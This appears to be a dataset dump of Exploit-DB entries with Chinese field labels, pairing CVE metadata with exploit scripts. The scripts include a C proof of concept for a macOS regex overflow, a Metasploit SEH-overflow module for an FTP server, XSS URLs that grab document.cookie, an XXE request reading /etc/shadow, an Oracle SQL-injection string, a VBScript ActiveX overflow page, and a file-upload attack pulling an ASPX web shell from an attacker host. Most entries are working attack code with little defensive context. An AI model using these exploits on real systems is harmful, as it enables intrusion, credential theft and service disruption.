QLWD/code_shield huggingface dataset:
标题: Apple Mac OSX Regex Engine (TRE) - Integer Signedness / Overflow EDB-ID: 38262 CVE: 2015-3798 类型: DOS 平台: OSX 发布日期: 2015-09-22 漏洞利用脚本: Source:  https://code.google.com/p/google-security-research/issues/detail?id=429

The OS X regex engine function tre_tnfa_run_parallel contains the following code:

  int tbytes;
...
  if (!match_tags)
    num_tags = 0;
  else
    num_tags = tnfa->num_tags;

...
  {
    int rbytes, pbytes, total_bytes;
    char *tmp_buf;
    /* Compute the length of the block we need. */
    tbytes = sizeof(*tmp_tags) * num_tags;
    rbytes = sizeof(*reach_next) * (tnfa->num_states + 1);
    pbytes = sizeof(*reach_pos) * tnfa->num_states;
    total_bytes =
      (sizeof(long) - 1) * 4 /* for alignment paddings */
      + (rbytes + tbytes * tnfa->num_states) * 2 + tbytes + pbytes;

    DPRINT(("tre_tnfa_run_parallel, allocate %d bytes\n", total_bytes));
    /* Allocate the memory. */
#ifdef TRE_USE_ALLOCA
    buf = alloca(total_bytes);
#else /* !TRE_USE_ALLOCA */
    buf = xmalloc((unsigned)total_bytes);  <-- malloc is called, not alloca
#endif /* !TRE_USE_ALLOCA */
    if (buf == NULL)
      return REG_ESPACE;
    memset(buf, 0, (size_t)total_bytes);


num_states and num_tags are computed based on the requirements of the regex and it's quite easy to make them each >64k with a relatively small regex. Note that total_bytes is an int and part of its calculation is the product of num_states and num_tags.

The types here are all over the place and there's conversion between int, unsigned's and size_t.

The attached PoC causes total_bytes to become negative leading to total_bytes being sign-extended in the memset call.

Severity medium because I haven't looked for exposed attack surface yet, but this doesn't require any non-standard flags (only REG_EXTENDED which is almost always used.)

Proof of Concept:

//ianbeer

#include <pthread.h>
#include <regex.h>
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define DEFAULT_REG_FLAGS (REG_EXTENDED)

void* go(void* arg){
  unsigned int nesting_level = 20;
  size_t inner_size = nesting_level*2+10;
  char* inner = malloc(inner_size);

  memset(inner, '(', nesting_level);
  inner[nesting_level] = '\\';
  inner[nesting_level+1] = '1';
  memset(&inner[nesting_level+2], ')', nesting_level);
  inner[nesting_level*2+2] = '\x00';

  unsigned int n_captures = 0x1000;
  char* regex = malloc(n_captures * inner_size + 100);
  strcpy(regex, "f(o)o((b)a(r))");
  for (unsigned int i = 0; i < n_captures; i++) {
    strcat(regex, inner);
  }
  strcat(regex, "r\\1o|\\2f|\\3l|\\4");
  const char* match_against = "hellothar!";

  regex_t re;
  
  int err = regcomp (&re, regex, DEFAULT_REG_FLAGS);
  if (err == 0) {
    void* something = malloc(100);
    regexec (&re, match_against, 1, (regmatch_t*)something, DEFAULT_REG_FLAGS);
  }
  return NULL;
}

int main (int argc, char const** argv)
{
  go(NULL);
  return 0;
} URL: https://www.exploit-db.com/exploits/38262
标题: Konica Minolta FTP Utility 1.00 - (Authenticated) CWD Command Overflow (SEH) (Metasploit) EDB-ID: 38254 CVE: 2015-7768 类型: REMOTE 平台: WINDOWS 发布日期: 2015-09-21 漏洞利用脚本: ##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Ftp
  include Msf::Exploit::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'Konica Minolta FTP Utility 1.00 Post Auth CWD Command SEH Overflow',
      'Description' => %q{
          This module exploits an SEH overflow in Konica Minolta FTP Server 1.00.
        Konica Minolta FTP fails to check input size when parsing 'CWD' commands, which
        leads to an SEH overflow.  Konica FTP allows anonymous access by default; valid
        credentials are typically unnecessary to exploit this vulnerability.
      },
      'Author' =>
        [
          'Shankar Damodaran', # stack buffer overflow dos p.o.c
          'Muhamad Fadzil Ramli <mind1355[at]gmail.com>' # seh overflow, metasploit module
        ],
      'License' => MSF_LICENSE,
      'References' =>
        [
          [ 'EBD', '37908' ]
        ],
      'Privileged' => false,
      'Payload' =>
        {
          'Space' => 1500,
          'BadChars' => "\x00\x0a\x2f\x5c",
          'DisableNops' => true
        },
      'Platform' => 'win',
      'Targets' =>
        [
          [
            'Windows 7 SP1 x86',
            {
              'Ret' => 0x12206d9d, # ppr - KMFtpCM.dll
              'Offset' => 1037
            }
          ]
        ],
      'DisclosureDate' => 'Aug 23 2015',
      'DefaultTarget' => 0))
  end

  def check
    connect
    disconnect

    if banner =~ /FTP Utility FTP server \(Version 1\.00\)/
      return Exploit::CheckCode::Detected
    else
      return Exploit::CheckCode::Safe
    end
  end

  def exploit
    connect_login

    buf = rand_text(target['Offset'])
    buf << generate_seh_record(target.ret)
    buf << payload.encoded
    buf << rand_text(3000)

    print_status("Sending exploit buffer...")
    send_cmd(['CWD', buf], false) # this will automatically put a space between 'CWD' and our attack string

    handler
    disconnect
  end
end URL: https://www.exploit-db.com/exploits/38254
标题: Multiple Hunt CCTV - Information Disclosure EDB-ID: 38248 CVE: 2013-1391 类型: REMOTE 平台: MULTIPLE 发布日期: 2013-01-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/57579/info

Multiple Hunt CCTV devices are prone to a remote information-disclosure vulnerability.

Successful exploits will allow attackers to obtain sensitive information, such as credentials, that may aid in further attacks. 

curl -v http://www.example.com/DVR.cfg | strings |grep -i USER URL: https://www.exploit-db.com/exploits/38248
标题: WordPress Plugin WP-Table Reloaded - 'id' Cross-Site Scripting EDB-ID: 38251 CVE: 2013-1463 类型: WEBAPPS 平台: PHP 发布日期: 2013-01-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/57664/info

The WP-Table Reloaded plugin for WordPress is prone to a cross-site scripting vulnerability.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

WP-Table Reloaded versions prior to 1.9.4 are vulnerable. 

http://www.example.com/wp-content/plugins/wp-table-reloaded/js/tabletools/zeroclipboard.swf?id=a\%22%29%29}catch%28e%29{alert%281%29}// URL: https://www.exploit-db.com/exploits/38251
标题: Perforce P4Web - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 38235 CVE: 2013-1410 类型: WEBAPPS 平台: JSP 发布日期: 2013-01-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/57514/info

Perforce P4Web is prone to multiple cross site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

Perforce P4Web versions 2011.1 and 2012.1 are vulnerable; other versions may also be affected.

http://www.example.com/u=Administrator&p=&c=+%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%280%29%3B%3E&Submit=Log+In&orgurl=

http://www.example.com/cnm=%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%280%29%3B%3E&Updated=after&cdu=%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%280%29%3B%3E&cow=%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%280%29%3B%3E&Accessed=after&cda=%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%280%29%3B%3E&cho=%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%280%29%3B%3E&Show=Filter

http://www.example.com/@md=c&cd=//&cl=%22%3E%3Cimg%20src=x%20onerror=prompt%280%29;%3E&c=5q7@//?ac=81

http://www.example.com/unm=%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%280%29%3B%3E&Updated=after&udu=%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%280%29%3B%3E&Accessed=after&uda=%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%280%29%3B%3E&Show=Filter

http://www.example.com/filter=147&fileFilter=matching&pattern=+%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%280%29%3B%3E&showClient=showClient&Filter=Filter

http://www.example.com/goField=%2F%2F%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%280%29%3B%3E&Go=Go

http://www.example.com/bnm=%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%280%29%3B%3E&Updated=after&bdu=%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%280%29%3B%3E&bow=%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%280%29%3B%3E&Accessed=after&bda=%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%280%29%3B%3E&Show=Filter

http://www.example.com/lnm=%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%280%29%3B%3E&Updated=after&ldu=%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%280%29%3B%3E&low=%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%280%29%3B%3E&Accessed=after&lda=%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%280%29%3B%3E&Show=Filter

http://www.example.com/Filter=+%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%280%29%3B%3E&Asc=hi&Max=25&Show=Filter

http://www.example.com/Filter=%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%280%29%3B%3E&Asc=hi&Max=10&Jsf=Job&Jsf=Status&Jsf=User&Jsf=Date&Jsf=Description&Show=Filter

http://www.example.com/UpToVal=+%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%280%29%3B%3E&User=+%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%280%29%3B%3E&Max=50&PatVal=...+%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%280%29%3B%3E&Client=+%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%280%29%3B%3E&AllC=y&Show=Filter URL: https://www.exploit-db.com/exploits/38235
标题: MiniUPnP 1.4 - Multiple Denial of Service Vulnerabilities EDB-ID: 38249 CVE: 2013-0229 类型: DOS 平台: MULTIPLE 发布日期: 2012-01-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/57602/info

MiniUPnP is prone to multiple denial-of-service vulnerabilities.

Attackers can exploit these issues to cause denial-of-service conditions.

MiniUPnP versions prior to 1.4 are vulnerable. 

M-SEARCH * HTTP/1.1
Host:239.255.255.250:1900
ST:uuid:schemas:device:MX:3< no CRLF > URL: https://www.exploit-db.com/exploits/38249
标题: gpEasy CMS - 'section' Cross-Site Scripting EDB-ID: 38236 CVE: 2013-0807 类型: WEBAPPS 平台: PHP 发布日期: 2013-01-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/57522/info

gpEasy CMS is prone to a cross-site scripting vulnerability because it fails to sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

gpEasy CMS 3.5.2 and prior versions are vulnerable. 

http://www.example.com//?cmd=new_section&section=%22%3%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E URL: https://www.exploit-db.com/exploits/38236
标题: DigiLIBE - Execution-After-Redirect Information Disclosure EDB-ID: 38234 CVE: 2013-1402 类型: WEBAPPS 平台: PHP 发布日期: 2013-01-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/57499/info

DigiLIBE is prone to a remote information-disclosure vulnerability.

Successful exploits may allow the attacker to bypass authentication and gain access to potentially sensitive information. This may aid in further attacks.

DigiLIBE 3.4 is vulnerable; other versions may also be affected. 

http://www.example.com/[path]/configuration/general_configuration.html URL: https://www.exploit-db.com/exploits/38234
标题: GNU Coreutils 'sort' Text Utility - Local Buffer Overflow EDB-ID: 38232 CVE: 2013-0221 类型: LOCAL 平台: LINUX 发布日期: 2013-01-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/57492/info

GNU Coreutils is prone to a buffer-overflow vulnerability because it fails to properly bounds check user-supplied input.

A local attacker can exploit this issue to crash the affected application, denying service to legitimate users. Due to the nature of this issue, arbitrary code-execution may be possible; however this has not been confirmed. 

% perl -e 'print "1","A"x50000000,"\r\n\r\n"' | sort -d
[1] 13431 done perl -e 'print "1","A"x50000000,"\r\n\r\n"' |
13432 segmentation fault sort -d

% perl -e 'print "1","A"x50000000,"\r\n\r\n"' | sort -M
[1] 13433 done perl -e 'print "1","A"x50000000,"\r\n\r\n"' |
13434 segmentation fault sort -M URL: https://www.exploit-db.com/exploits/38232
标题: F5 Networks BIG-IP - XML External Entity Injection EDB-ID: 38233 CVE: 2012-2997 类型: REMOTE 平台: HARDWARE 发布日期: 2013-01-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/57496/info

F5 Networks BIG-IP is prone to an XML External Entity injection vulnerability.

Attackers can exploit this issue to obtain potentially sensitive information from local files on computers running the vulnerable application and to carry out other attacks. 

POST /sam/admin/vpe2/public/php/server.php HTTP/1.1
Host: bigip
Cookie: BIGIPAuthCookie=*VALID_COOKIE*
Content-Length: 143

<?xml  version="1.0" encoding='utf-8' ?>
<!DOCTYPE a [<!ENTITY e SYSTEM '/etc/shadow'> ]>
<message><dialogueType>&e;</dialogueType></message>


The response includes the content of the file:

<?xml version="1.0" encoding="utf-8"?>
<message><dialogueType>any</dialogueType><status>generalError</status><command>any</command><accessPolicyName>any</accessPolicyName><messageBody><generalErrorText>Client
has sent unknown dialogueType '
root:--hash--:15490::::::
bin:*:15490::::::
daemon:*:15490::::::
adm:*:15490::::::
lp:*:15490::::::
mail:*:15490::::::
uucp:*:15490::::::
operator:*:15490::::::
nobody:*:15490::::::
tmshnobody:*:15490::::::
admin:--hash--:15490:0:99999:7::: URL: https://www.exploit-db.com/exploits/38233
标题: Apache OFBiz 10.4.x - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 38230 CVE: 2013-0177 类型: REMOTE 平台: MULTIPLE 发布日期: 2013-01-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/57463/info

Apache OFBiz is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary HTML and script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

Apache OFBiz versions prior to 10.04.05 and 11.04.02 are vulnerable. 

GET
/exampleext/control/ManagePortalPages?parentPortalPageId=EXAMPLE"><script>alert("xss")</script>
HTTP/1.1
Host: www.example.com:8443
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/20100101
Firefox/17.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-ar,es;q=0.8,en-us;q=0.5,en;q=0.3
Connection: keep-alive
Referer: https://www.example.com:8443/exampleext/control/main?externalLoginKey=EL367731470037
Cookie: JSESSIONID=C3E2C59FDC670DC004A562861681C092.jvm1; OFBiz.Visitor=10002 URL: https://www.exploit-db.com/exploits/38230
标题: Microsoft Excel 2007/2010/2013 - BIFFRecord Use-After-Free EDB-ID: 38214 CVE: 2015-2523 类型: DOS 平台: WINDOWS 发布日期: 2015-09-16 漏洞利用脚本: Source: https://code.google.com/p/google-security-research/issues/detail?id=462

The following crash was observed in Microsoft Excel 2007 running on Windows 2003 R2. This crash was also reproduced in Microsoft Excel 2010 on Windows 7 x86 and Microsoft Excel 2013 on Windows 8.1 x86. The test environment was Excel 2007 on Windows 2003 R2 with application verifier basic checks enabled.

Attached files:
Original File: 683709058_orig.xls
Crashing File: 683709058_crash.xls
Minimized Crashing File: 683709058_min.xls

The minimized crashing file shows two deltas from the original. The first at offset 0x237 is in the data of the 4th BIFFRecord and the second delta at offset 0x34a5 is in the type field of a BIFFRecord. 

File versions:
Excel.exe: 12.0.6718.5000
MSO.dll: 12.0.6721.5000

Observed Crash:

eax=00000000 ebx=00000000 ecx=0ce119f8 edx=00003fff esi=0e98de10 edi=0013c82c
eip=30037cc5 esp=00137180 ebp=00137188 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for Excel.exe - 
Excel!Ordinal40+0x37cc5:
30037cc5 0fb64604        movzx   eax,byte ptr [esi+4]       ds:0023:0e98de14=??

0:000> kb L8
ChildEBP RetAddr  Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
00137188 303df098 0e98de10 00000000 00000102 Excel!Ordinal40+0x37cc5
0013d068 30528190 0013d0a8 00000102 00000000 Excel!Ordinal40+0x3df098
0013d2bc 305280b1 00000000 00000001 00000008 Excel!Ordinal40+0x528190
0013d330 3038d46d 0013ddf2 00000000 00000001 Excel!Ordinal40+0x5280b1
0013e000 300084a4 0013e104 00000001 0013f568 Excel!Ordinal40+0x38d46d
0013fbb0 30005e9a 02270fd7 00000003 30f61708 Excel!Ordinal40+0x84a4
0013feb8 30003b3a 00000000 02270fd7 00000003 Excel!Ordinal40+0x5e9a
0013ff30 30003884 30000000 00000000 02270fd7 Excel!Ordinal40+0x3b3a

In this crash esi is a heap address. We can see that this is a free chunk:

0:000> !heap -p -a 0xe98de10
    address 0e98de10 found in
    _DPH_HEAP_ROOT @ 1161000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                    e7f0fc0:          e98d000             2000
    7c83e330 ntdll!RtlFreeHeap+0x0000011a
    018b1611 vfbasics!AVrfpRtlFreeHeap+0x000000a8
    331039d5 mso!Ordinal1743+0x00002d4d
    329c91d1 mso!MsoFreePv+0x0000003f
    30298310 Excel!Ordinal40+0x00298310
    30300ac3 Excel!Ordinal40+0x00300ac3
    305f1899 Excel!Ordinal40+0x005f1899 

This is a use after free vulnerability affecting all currently supported versions of Microsoft Excel. 

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38214.zip URL: https://www.exploit-db.com/exploits/38214
标题: Quick.CMS / Quick.Cart - Cross-Site Scripting EDB-ID: 38207 CVE: 2012-6430 类型: WEBAPPS 平台: PHP 发布日期: 2013-01-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/57254/info

Quick.Cms and Quick.Cart are prone to a cross-site scripting vulnerability because they fail to sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

The following products are vulnerable:

Quick.Cms 5.0
Quick.Cart 6.0 

http://www.example.com/admin.php/')"></select><script>alert(document.cookie);</script>/ URL: https://www.exploit-db.com/exploits/38207
标题: Samsung Kies - Remote Buffer Overflow EDB-ID: 38206 CVE: 2012-6429 类型: REMOTE 平台: WINDOWS 发布日期: 2013-01-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/57249/info

Samsung Kies is prone to a remote buffer-overflow vulnerability because it fails to properly validate user-supplied input before copying it into a fixed-length buffer.

Attackers can exploit this issue to execute arbitrary code in the context of the application. Failed attacks may cause a denial-of-service condition. 

<html>
<!-- (c)oded by High-Tech Bridge Security Research Lab -->
<head>
<title>Remote Buffer Overflow Vulnerability in Samsung Kies v. 
2.5.0.12114_1 </title>
</head>
<script language='vbscript'>
Sub PoC()
arg1="defaultV"
arg2=String(14356, "A")
arg3=1
arg4=1
Target.PrepareSync arg1 ,arg2 ,arg3 ,arg4
End Sub
</script>
<body>
<h3>Remote Buffer Overflow Vulnerability in Samsung Kies by High-Tech 
Bridge Security Research Lab</h3>
<input language=VBScript onclick=PoC() type=button value="Proof of 
Concept">
</body>
<object 
classid='clsid:EA8A3985-F9DF-4652-A255-E4E7772AFCA8'id='Target'></object>
</html> URL: https://www.exploit-db.com/exploits/38206
标题: FAROL - SQL Injection EDB-ID: 38213 CVE: 2015-6962 类型: WEBAPPS 平台: PHP 发布日期: 2015-09-16 漏洞利用脚本: # Exploit Title: Web Application Farol with anauthenticated SQLi injection
# Date: 2015-09-16
# Exploit Author: Thierry Fernandes Faria [ a.k.a SoiL ] [ thierryfariaa (at) gmail (dot) com ]
# Vendor Homepage:http://www.teiko.com.br/pt/solucoes/infraestrutura-em-ti/farol
# Version: [All]
# CVE : CVE-2015-6962
# OWASP Top10: A1-Injection

+---------------------+
+ Product Description +
+---------------------+
The FAROL web application is a software that monitors the databases
 
+----------------------+
+ Exploitation Details +
+----------------------+
A vulnerability has been detected in the login page from  web application FAROL . Sql injection anauthenticated.

The e-mail field at login page is vulnerable.

The e-mail field is vulnerable to Error Based Sql injection.

Vulnerable Page: http://target/tkmonitor/estrutura/login/Login.actions.php?recuperar
Vulnerable POST Parameter: email
Usage:email'[SQLi error based]--

eg:
email=1'%20or%201=ctxsys.drithsx.sn(1,(select%20sys.stragg(distinct%20banner)%20from%20v$version))--

ORA-20000: Oracle Text error:
DRG-11701: thesaurus CORE 11.2.0.4.0 ProductionNLSRTL Version 11.2.0.4.0 - ProductionOracle Database 11g Enterprise Edition Release 11.2.0.4.0 - 64bit ProductionPL/SQL Release 11.2.0.4.0 - ProductionTNS for Linux: Version 11.2.0.4.0 - Production does not exist
ORA-06512: at "CTXSYS.DRUE", line 160

+----------+
+ Solution +
+----------+ 
Upgrade the software URL: https://www.exploit-db.com/exploits/38213
标题: Prizm Content Connect - Arbitrary File Upload EDB-ID: 38204 CVE: 2012-5190 类型: WEBAPPS 平台: PHP 发布日期: 2013-01-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/57242/info

Prizm Content Connect is prone to an arbitrary file-upload vulnerability because it fails to adequately validate files before uploading them.

An attacker may leverage this issue to upload arbitrary files to the affected computer; this can result in an arbitrary code execution within the context of the vulnerable application.

Prizm Content Connect 5.1 is vulnerable; other versions may also be affected. 

Proof of concept

First, the attacker causes the Prizm Content Connect software to download
the malicious ASPX file:

http://www.example.com/default.aspx?document=http://attacker.example.org/aspxshell.aspx

The resulting page discloses the filename to which the ASPX file was
downloaded, e.g.:

Document Location: C:\Project\

Full Document Path: C:\Project\ajwyfw45itxwys45fgzomrmv.aspx

Temp Location: C:\tempcache\

The attacker then requests the ASPX shell from the root of the website:

http://www.example.com/ajwyfw45itxwys45fgzomrmv.aspx URL: https://www.exploit-db.com/exploits/38204